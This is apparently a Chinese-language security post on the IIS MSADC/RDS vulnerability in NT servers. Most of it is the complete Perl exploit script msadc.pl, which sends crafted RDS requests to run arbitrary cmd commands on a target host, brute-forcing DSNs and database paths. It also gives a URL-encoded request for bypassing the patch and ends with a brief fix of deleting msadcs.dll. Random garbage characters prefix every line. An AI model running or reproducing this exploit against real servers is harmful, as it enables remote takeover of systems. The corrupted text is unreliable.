IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
\<%?=C'w~ >k8FUf(c 涉及程序：
s
>7(S%#N Microsoft NT server
H|z:j35\ J0 UF( 描述：
O^r,H,3S 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
<KrfM b,lIndj# 详细：
XXy &1C 如果你没有时间读详细内容的话，就删除:
m^KK
#Hw/` c:\Program Files\Common Files\System\Msadc\msadcs.dll
2`pg0ciX ( 有关的安全问题就没有了。
h@+( VQ &d=ZCaP 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
MNocXK QFU1l"(qGk 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
.9!?vz]1 关于利用ODBC远程漏洞的描述，请参看:
S?u@3PyJm cIg+^Tl http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z+]YB5zK% ok/{ w 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
l {t!
LTf; http://www.microsoft.com/security/bulletins/MS99-025faq.asp yZY.B
{ jfjT::f>l 这里不再论述。
sEx`9_oZ <nJ8%a Y, 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
] ] 50c aK]H(F 2# /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"p"~fN
/I9 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
`|e3OCU u .,l_D_ I5#zo, 9 #将下面这段保存为txt文件，然后: "perl -x 文件名"
V%JG :'6L O[^u<*fi{ #!perl
dReJ;x4 #
]::g-&%Um # MSADC/RDS 'usage' (aka exploit) script
N _|tw #
+J7xAyv_Oz # by rain.forest.puppy
}o7"2 h ht #
Pvz\zRq # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Y(C-o[-N # beta test and find errors!
v|wO q S .NT9dX use Socket; use Getopt::Std;
M"E7= J getopts("e:vd:h:XR", \%args);
o Np(GQ@0 c3C<P print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
MXrh[QCU) 7
|Q;E|=-Y if (!defined $args{h} && !defined $args{R}) {
>=d%t6 %( print qq~
*d& +? ! Usage: msadc.pl -h <host> { -d <delay> -X -v }
M{ O8iq[ -h <host> = host you want to scan (ip or domain)
m!Fx# -d <seconds> = delay between calls, default 1 second
W6jdS ;3 -X = dump Index Server path table, if available
ehyCAp0oI -v = verbose
,m1F<Pdts -e = external dictionary file for step 5
M6H#Y2!ZbC ,L$, d Or a -R will resume a command session
Y( 6 p&I 9_l WB6 ~; exit;}
QN^AihsPi V2IurDE $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
L[O.]2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-HUlB|Q8 r if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
+K7oyZg if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
v_I)eac z $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
D0Lo T?$N if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
tlcNGPa 5'S~PQka* if (!defined $args{R}){ $ret = &has_msadc;
TyN]P a die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
4x2,X`pe3 VTJ xVYE print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Q$8K-5U% . "cmd /c ";
hv#|dI=kZR $in=<STDIN>; chomp $in;
HB,
k}Q $command="cmd /c " . $in ;
G$-[(eu - ;CLOZ{ if (defined $args{R}) {&load; exit;}
O^KIB%}fu ?k+>~k{}a print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Fm4)| 5 &try_btcustmr;
UpS7>c7s ^(~%'f print "\nStep 2: Trying to make our own DSN...";
>WmT M0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8 EUc
6 p vY BhTz0 print "\nStep 3: Trying known DSNs...";
67A g.f6- &known_dsn;
`,$PRN"] }$Z0v` print "\nStep 4: Trying known .mdbs...";
h+j{;evN &known_mdb;
G!.% Qqs `!@d$*:' if (defined $args{e}){
r0,XR print "\nStep 5: Trying dictionary of DSN names...";
cc {^0JT &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
BMYvxSsm v Y!'@W print "Sorry Charley...maybe next time?\n";
FS7@6I 2Ts exit;
oP_}C [ 1)hO!% ##############################################################################
?C(3T KH Zk> #T:{h sub sendraw { # ripped and modded from whisker
B;c2gu
sleep($delay); # it's a DoS on the server! At least on mine...
C^*3nd3 my ($pstr)=@_;
lB*H L C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2JL\1=k; die("Socket problems\n");
.dKFQH iYJ if(connect(S,pack "SnA4x8",2,80,$target)){
@ ('/NjTZ select(S); $|=1;
nWFU8u% print $pstr; my @in=<S>;
IM=3n%6 select(STDOUT); close(S);
;3Z6K5z*f return @in;
m#`1.5% } else { die("Can't connect...\n"); }}
x@? YS =H;F{J " ##############################################################################
!pxOhO.V {3eg4j.Z sub make_header { # make the HTTP request
fzZ`O{$8 my $msadc=<<EOT
D] +]Br8 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{8T /;K@ User-Agent: ACTIVEDATA
T&+y~c[au Host: $ip
A8T8 +M: Content-Length: $clen
K(}g!iT)~ Connection: Keep-Alive
bDjm:G S c9}W U ADCClientVersion:01.06
wf2v9.;X:< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"wnN
0 p /q5!p0fH* --!ADM!ROX!YOUR!WORLD!
)Y:C' *.r Content-Type: application/x-varg
U5ME`lN*` Content-Length: $reqlen
CkR
95* _*fOn@Vwo EOT
^T*'B-`C7X ; $msadc=~s/\n/\r\n/g;
qh#?a' return $msadc;}
wyB $[V-M\q ##############################################################################
PnZY%+[I #AF.1;(k sub make_req { # make the RDS request
`oOVR6{K9 my ($switch, $p1, $p2)=@_;
s y>}2orj~ my $req=""; my $t1, $t2, $query, $dsn;
0+Z?9$a1 Iad&Z8E if ($switch==1){ # this is the btcustmr.mdb query
'a G`qPB $query="Select * from Customers where City=" . make_shell();
N2 .Ym;^ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2:G/Oj h&] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
WB 5M ![ zI" 1.^Trn elsif ($switch==2){ # this is general make table query
J KA%$l0 $query="create table AZZ (B int, C varchar(10))";
97vQM $dsn="$p1";}
S! h=HE LG;U?:\ elsif ($switch==3){ # this is general exploit table query
B{!*OC{l $query="select * from AZZ where C=" . make_shell();
W~j >&PK,? $dsn="$p1";}
pvhN.z '$5Q daj elsif ($switch==4){ # attempt to hork file info from index server
`J %35 $query="select path from scope()";
t&Jrchk $dsn="Provider=MSIDXS;";}
7gE/g`"# c7A]\1 ~ elsif ($switch==5){ # bad query
9QHV%% $query="select";
N#GMvU#R $dsn="$p1";}
5#~E[dr )6{,y{ 5! $t1= make_unicode($query);
x9\]C' *sO $t2= make_unicode($dsn);
={\9-JJhE $req = "\x02\x00\x03\x00";
65l9dM2 $req.= "\x08\x00" . pack ("S1", length($t1));
MG vp6/Pd $req.= "\x00\x00" . $t1 ;
X#Hl<d2
$req.= "\x08\x00" . pack ("S1", length($t2));
"' ~&D/7 $req.= "\x00\x00" . $t2 ;
<=]:ED $V@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
&M7AM"9 return $req;}
+LF`ZXe8l 6 -BC/ ##############################################################################
B^Hh rz! ~uu{
v') sub make_shell { # this makes the shell() statement
Lum5Va%0 return "'|shell(\"$command\")|'";}
NIG*
}[}P ]/7#[ ##############################################################################
`#?]g ! =-]NAj\ sub make_unicode { # quick little function to convert to unicode
c~u91h? my ($in)=@_; my $out;
$Y[ C A.F for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
IHv>V9yiG return $out;}
t:YMF$Z KM/c^ a4V ##############################################################################
ufJHC 06 q<Y# -Io%3 sub rdo_success { # checks for RDO return success (this is kludge)
|%@pjJ`3 my (@in) = @_; my $base=content_start(@in);
P52qt N< if($in[$base]=~/multipart\/mixed/){
#9t3 <H[ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Fi KG B\_] return 0;}
XA\wZV
|{ ? u>A2Vc! ##############################################################################
=g$%jM>35 -nY_.fp> sub make_dsn { # this makes a DSN for us
3x)jab my @drives=("c","d","e","f");
rC6@
] print "\nMaking DSN: ";
I U\h,Ug foreach $drive (@drives) {
0+NGFX \p print "$drive: ";
2FQTu*p&B my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
4P?@NJp "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.9q`Tf . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
QObHW[:F $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Z GrDa return 0 if $2 eq "404"; # not found/doesn't exist
6S^JmYq if($2 eq "200") {
:XB^IyO-A foreach $line (@results) {
Zou;o9Ww return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
%II o } return 0;}
] -%B4lT ^G NL:D%6d ##############################################################################
d?aZk-|c aVp-Ps|r sub verify_exists {
=nv/
r my ($page)=@_;
r |2{( + my @results=sendraw("GET $page HTTP/1.0\n\n");
Li9>RY+3 return $results[0];}
0~e6\7={ TP mb]j ##############################################################################
4ULdf|o P" FY
pspv?4 sub try_btcustmr {
y< P Q$D) my @drives=("c","d","e","f");
[ = Xb*~ my @dirs=("winnt","winnt35","winnt351","win","windows");
lD $\t/8B
_+}f@&" foreach $dir (@dirs) {
r ?z}TtDp print "$dir -> "; # fun status so you can see progress
4c<\_\\c k foreach $drive (@drives) {
fzUG1|$e print "$drive: "; # ditto
R#!Urhh $reqlen=length( make_req(1,$drive,$dir) ) - 28;
@>`qf y? $reqlenlen=length( "$reqlen" );
p ^Y2A $clen= 206 + $reqlenlen + $reqlen;
]j]<CqG 0@RVM| my @results=sendraw(make_header() . make_req(1,$drive,$dir));
S7j U:CLJ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`:Zgq+j& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Zi<(>@z2 f / U~X; ##############################################################################
a 0 's6C 4)Ew
rU sub odbc_error {
q oEZ> my (@in)=@_; my $base;
.x1.` Y my $base = content_start(@in);
tg7QX/KX if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
_ o== $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9/{ 8Y & $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
A @e!~ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u/%Z0`X return $in[$base+4].$in[$base+5].$in[$base+6];}
a\KM^jrCD print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
cCcJOhk|d print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
j9. %(* $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
izLB4pk$ [X kWPx` ##############################################################################
B?ipo,2~{ Nzb=h/; sub verbose {
k0 D): my ($in)=@_;
B.~[m} return if !$verbose;
rdH^"( print STDOUT "\n$in\n";}
?(M]'ia{ DPfN*a-P( ##############################################################################
,nJCqX~ /G $g\p)- aU sub save {
/sSM<r]5j my ($p1, $p2, $p3, $p4)=@_;
f6m
h _l open(OUT, ">rds.save") || print "Problem saving parameters...\n";
%!R\-Vej print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
% -.V6}V close OUT;}
f7Gs1{ -i]2 b ##############################################################################
? 8)k6: q[x|tO sub load {
*r ('A my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3dgPP@7d$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
KO N^ @p=<IN>; close(IN);
<3x:nH @ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
a..LbQQ $target= inet_aton($ip) || die("inet_aton problems");
KBA& s print "Resuming to $ip ...";
[ -^xw1: $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
=-avzuy# if($p[1]==1) {
O7p=|F" $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
oo1h"[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
p{&o{+c my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
c/%GfB[w0 if (rdo_success(@results)){print "Success!\n";}
.f|)od[ else { print "failed\n"; verbose(odbc_error(@results));}}
7gREcL 2 elsif ($p[1]==3){
\)W Z D if(run_query("$p[3]")){
oAv LSFn print "Success!\n";} else { print "failed\n"; }}
c=re( elsif ($p[1]==4){
NleMZ if(run_query($drvst . "$p[3]")){
oVd7ucnK print "Success!\n"; } else { print "failed\n"; }}
[}5mi?v exit;}
*P?Ruc g &td ##############################################################################
.>2]m[53 ^ZFK:|Ju sub create_table {
+5GPU 9k my ($in)=@_;
fM"&=X $reqlen=length( make_req(2,$in,"") ) - 28;
O" wo&5b_ $reqlenlen=length( "$reqlen" );
ADA} _|O $clen= 206 + $reqlenlen + $reqlen;
wWM[Hus my @results=sendraw(make_header() . make_req(2,$in,""));
(^58$IW71 return 1 if rdo_success(@results);
"oh ;?gQ. my $temp= odbc_error(@results); verbose($temp);
|{MXDx return 1 if $temp=~/Table 'AZZ' already exists/;
znAo]F9=J" return 0;}
9}+X#ma.Nc B[d%?L_ ##############################################################################
F:A Vik I~nz~U:ak sub known_dsn {
Lzx2An@R # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
spWo{ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
}-
wK "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
V?~!D p "banner", "banners", "ads", "ADCDemo", "ADCTest");
|Z8Eu0RSb 8YQ7XB foreach $dSn (@dsns) {
`chD*@76I print ".";
Z_mQpt|y next if (!is_access("DSN=$dSn"));
RL*b4 7, if(create_table("DSN=$dSn")){
< Yc)F.: print "$dSn successful\n";
1/%5pb2\ if(run_query("DSN=$dSn")){
z&\ N^tBv print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
H%0WD_ print "Something's borked. Use verbose next time\n";}}} print "\n";}
q``/7 _/YM@%d ##############################################################################
q9c-UQB(! }/ Qj8l. sub is_access {
,:0!+1 my ($in)=@_;
szXqJG8| $reqlen=length( make_req(5,$in,"") ) - 28;
I A$= $reqlenlen=length( "$reqlen" );
^-F#"i|Cn $clen= 206 + $reqlenlen + $reqlen;
V`G^Jyj my @results=sendraw(make_header() . make_req(5,$in,""));
'=J|IN7WT my $temp= odbc_error(@results);
P1 |3%#c verbose($temp); return 1 if ($temp=~/Microsoft Access/);
i?,\>LTG return 0;}
z'\BZ5riX< ULO_?4}B ##############################################################################
h-U]?De5\ <YrsS-9 sub run_query {
O\h%ZLjfO my ($in)=@_;
g'2}Y5m$` $reqlen=length( make_req(3,$in,"") ) - 28;
OHv9|&Tpl $reqlenlen=length( "$reqlen" );
+j O#?J $clen= 206 + $reqlenlen + $reqlen;
8Nx fYA my @results=sendraw(make_header() . make_req(3,$in,""));
]$Q@4=f b return 1 if rdo_success(@results);
P G
zwS my $temp= odbc_error(@results); verbose($temp);
I:1Pz|$` return 0;}
W*/2x8$d gLlA'` ! ##############################################################################
[WXcp1p
<RcB: h sub known_mdb {
?QtM|e my @drives=("c","d","e","f","g");
]C {N4Ni^Z my @dirs=("winnt","winnt35","winnt351","win","windows");
.N7&Jy
my $dir, $drive, $mdb;
7^1K4%IPl my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
t0Inf
[um W,:j >v g # this is sparse, because I don't know of many
rl-#E z my @sysmdbs=( "\\catroot\\icatalog.mdb",
-b34 Wz( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
5C9
.h:c4y "\\system32\\certmdb.mdb",
JURg=r]LI "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
.=) *Qx+
ONUa7 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
,^jQBD4={ "\\cfusion\\cfapps\\forums\\forums_.mdb",
65tsJ"a< "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
>f D%lq; "\\cfusion\\cfapps\\security\\realm_.mdb",
Ex6Kxd}8 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
R<^E?FI
"\\cfusion\\database\\cfexamples.mdb",
"B9zQ,[Q "\\cfusion\\database\\cfsnippets.mdb",
]deO\m B "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
OaY]}4tI$ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,V) hV@Dk "\\cfusion\\brighttiger\\database\\cleam.mdb",
aM:tg1g "\\cfusion\\database\\smpolicy.mdb",
s"~,Zz y@j "\\cfusion\\database\cypress.mdb",
Z=l2Po n "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[q^pMH#U" "\\website\\cgi-win\\dbsample.mdb",
%D7 '7E8. "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Z/;hbbG "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
D\E"v,Y\+O ); #these are just
ClufP6' foreach $drive (@drives) {
mS.!lkV foreach $dir (@dirs){
rLbFaLeQ foreach $mdb (@sysmdbs) {
}S%}%1pG7 print ".";
ES#q/yab5 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
r MJ4w['J= print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
24f N3 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
9e&*+ +vf print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
z _). - } else { print "Something's borked. Use verbose next time\n"; }}}}}
5G z~,_ a;(,$q3M foreach $drive (@drives) {
^}kYJvqA foreach $mdb (@mdbs) {
-:wV3D print ".";
-*2b/=$u if(create_table($drv . $drive . $dir . $mdb)){
3Qp6 $ m print "\n" . $drive . $dir . $mdb . " successful\n";
c~6ywuq+M` if(run_query($drv . $drive . $dir . $mdb)){
I, V'J|=j print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
bHz Z4i } else { print "Something's borked. Use verbose next time\n"; }}}}
"AIS6%, }
d8WEsQ+)A & fnfuU$ ##############################################################################
RG/P] {@Z*.G^ sub hork_idx {
\;+ b1 print "\nAttempting to dump Index Server tables...\n";
(D+%*ax print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
S Z &[o&H $reqlen=length( make_req(4,"","") ) - 28;
]agd Vr^ $reqlenlen=length( "$reqlen" );
T <RWz $clen= 206 + $reqlenlen + $reqlen;
Iapzh y2l my @results=sendraw2(make_header() . make_req(4,"",""));
j92+kq>Xd if (rdo_success(@results)){
3 >^B%qg6 my $max=@results; my $c; my %d;
{s?hXB for($c=19; $c<$max; $c++){
avqJ[R $results[$c]=~s/\x00//g;
Xg}~\|n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
@d|]BqQ4jh $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
!DKl:8mx4 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Y1Bx Rd?D $d{"$1$2"}="";}
+ Cq& ~<B foreach $c (keys %d){ print "$c\n"; }
eqpnh^0}d } else {print "Index server doesn't seem to be installed.\n"; }}
iT1H bAT] 5jTA6s9z A ##############################################################################
uW,rm d ]`}EOS-Q
sub dsn_dict {
=.9tR q open(IN, "<$args{e}") || die("Can't open external dictionary\n");
~SE IIq while(<IN>){
i^/ H>E%u $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
CS"p3$7, next if (!is_access("DSN=$dSn"));
P?y{ 9H* if(create_table("DSN=$dSn")){
S_Vquw(+ print "$dSn successful\n";
eh3CVgH91; if(run_query("DSN=$dSn")){
dW#l3_'3T print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
y{nX 6 print "Something's borked. Use verbose next time\n";}}}
9(BB>o54r print "\n"; close(IN);}
[wJ l]i QSOJHRl=C ##############################################################################
BFn}~\wzK ? =?9a sub sendraw2 { # ripped and modded from whisker
yF^)H{yx sleep($delay); # it's a DoS on the server! At least on mine...
opCQ=G1 my ($pstr)=@_;
A OCiIPw
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vpk~,D07yR die("Socket problems\n");
1{ wO jq(4 if(connect(S,pack "SnA4x8",2,80,$target)){
bvo
}b-]E print "Connected. Getting data";
cp+eh open(OUT,">raw.out"); my @in;
M]e _@:! select(S); $|=1; print $pstr;
l,Ixz1S3e while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
p*=9Ea: close(OUT); select(STDOUT); close(S); return @in;
6EG`0h6 } else { die("Can't connect...\n"); }}
;'| t>'0_ glWa ? #1 ##############################################################################
/A`Ly p# YZp ]vlm~ sub content_start { # this will take in the server headers
OH~I+=} . my (@in)=@_; my $c;
m*TJ@gI*t for ($c=1;$c<500;$c++) {
7me1 :}4 if($in[$c] =~/^\x0d\x0a/){
R<1[hH9"o if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
=+wkjTO else { return $c+1; }}}
_NM=9cWd return -1;} # it should never get here actually
s ,GGO3^ =7U 8`]WA ##############################################################################
$ZE"o`=7 :*lB86Ly sub funky {
-Cf<
#'x_ my (@in)=@_; my $error=odbc_error(@in);
LtBm }0 if($error=~/ADO could not find the specified provider/){
f.u[!T print "\nServer returned an ADO miscofiguration message\nAborting.\n";
I*8_5?)g< exit;}
a~[]Ye@H if($error=~/A Handler is required/){
?I#zcD)w print "\nServer has custom handler filters (they most likely are patched)\n";
`LVX| l62 exit;}
FYeUz$/ if($error=~/specified Handler has denied Access/){
`)eq TeW print "\nServer has custom handler filters (they most likely are patched)\n";
C$EvcF % 1 exit;}}
%g%#=a;]q 9=;ETLL " ##############################################################################
jhSc9 y]E ?\03" sub has_msadc {
,0[h`FN my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
LgS.%Mn my $base=content_start(@results);
^'aMp}3iu return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
.;9I :YB$ return 0;}
M7n|Z{?( 1)wzSEV@ ########################
oNr~8 CA` \~ h7 _}wy|T&7k& 解决方案：
4 5\%2un 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
B (dq$+4 2、移除web 目录: /msadc
